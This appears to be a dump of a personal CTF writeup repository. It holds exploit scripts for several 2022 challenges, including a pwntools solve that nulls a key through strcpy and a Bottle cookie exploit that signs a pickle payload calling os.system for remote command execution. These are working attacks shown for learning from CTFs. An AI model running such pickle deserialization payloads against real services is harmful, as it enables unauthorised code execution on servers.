/writeups/2022/htb-intergalactic-chase/vault-breaker/flag.txt: -------------------------------------------------------------------------------- 1 | HTB{f4k3_fl4g_4_t35t1ng} 2 | -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/vault-breaker/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | # Fix rpath with: 6 | # 7 | # patchelf --remove-rpath ./vault-breaker 8 | # patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 ./vault-breaker 9 | the_binary = "./vault-breaker" 10 | context.binary = the_binary 11 | elf = context.binary 12 | 13 | context.terminal = ["tmux", "splitw", "-v"] 14 | 15 | if args.REMOTE: 16 | io = remote("138.68.188.223", 32080) 17 | else: 18 | io = process(the_binary) 19 | 20 | # Null out the random_key by walking down a series of strcpy calls (each of which adds a 21 | # null byte to the end). 22 | def new_key_gen(length): 23 | io.sendlineafter("> ", "1") 24 | io.sendlineafter(": ", str(length)) 25 | 26 | for i in reversed(range(0x20)): 27 | new_key_gen(i) 28 | 29 | io.sendlineafter("> ", "2") 30 | io.interactive() 31 | 32 | -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/vault-breaker/vault-breaker: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/vault-breaker/vault-breaker -------------------------------------------------------------------------------- /writeups/2022/htb-intergalactic-chase/vault-breaker/vault-breaker.bndb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/htb-intergalactic-chase/vault-breaker/vault-breaker.bndb -------------------------------------------------------------------------------- /writeups/2022/justCTF/notes/libc-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/justCTF/notes/libc-2.31.so -------------------------------------------------------------------------------- /writeups/2022/justCTF/notes/notes: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/justCTF/notes/notes -------------------------------------------------------------------------------- /writeups/2022/sekai/bottle-poem/secret.py: -------------------------------------------------------------------------------- 1 | sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu" 2 | -------------------------------------------------------------------------------- /writeups/2022/sekai/bottle-poem/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import pickle 5 | import sys 6 | 7 | import bottle 8 | import requests 9 | 10 | try: 11 | command = sys.argv[1] 12 | except IndexError: 13 | print(f"Usage: {sys.argv[0]} ") 14 | sys.exit(1) 15 | 16 | target = "bottle-poem.ctf.sekai.team" 17 | 18 | # Retrieved from /app/config/secret.py 19 | secret = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu" 20 | 21 | # Once we have the secret, the main vulnerability lies in bottle's pickle deserialization of 22 | # cookies: 23 | # https://github.com/bottlepy/bottle/blob/df67999584a0e51ec5b691146c7fa4f3c87f5aac/bottle.py#L1217 24 | 25 | class PicklePayload: 26 | def __reduce__(self): 27 | return os.system, (command,) 28 | 29 | bottle.response.set_cookie("name", PicklePayload(), secret=secret) 30 | str_resp = str(bottle.response) 31 | cookie_start_idx = str_resp.find('name="') + len('name="') 32 | cookie_end_idx = str_resp.find('"', cookie_start_idx) 33 | cookie = str_resp[cookie_start_idx:cookie_end_idx] 34 | 35 | sess = requests.Session() 36 | sess.cookies.set("name", cookie, domain=target) 37 | r = sess.get(f"http://{target}/sign") 38 | print(r.text) 39 | -------------------------------------------------------------------------------- /writeups/2022/sekai/save-me/flag.txt: -------------------------------------------------------------------------------- 1 | flag{xxxxxxxxxx} 2 | -------------------------------------------------------------------------------- /writeups/2022/sekai/save-me/saveme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/sekai/save-me/saveme -------------------------------------------------------------------------------- /writeups/2022/zer0pts/MemSafeD/Makefile: -------------------------------------------------------------------------------- 1 | # Not important but just for your reference: 2 | # - https://dlang.org/download.html (v2.098.0) 3 | # - https://dlang.org/dmd-linux.html 4 | chall: main.d 5 | dmd main.d -of=chall -O -release -inline -check=off 6 | mv chall ../distfiles 7 | cp main.d ../distfiles 8 | cp Makefile ../distfiles 9 | -------------------------------------------------------------------------------- /writeups/2022/zer0pts/MemSafeD/chall: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2022/zer0pts/MemSafeD/chall -------------------------------------------------------------------------------- /writeups/readme.md: -------------------------------------------------------------------------------- 1 | # Writeups 2 | 3 | This directory contains some CTF writeups for challenges I thought were interesting. I usually try to keep my solutions to a single solve script unless that isn't feasible. 4 | --------------------------------------------------------------------------------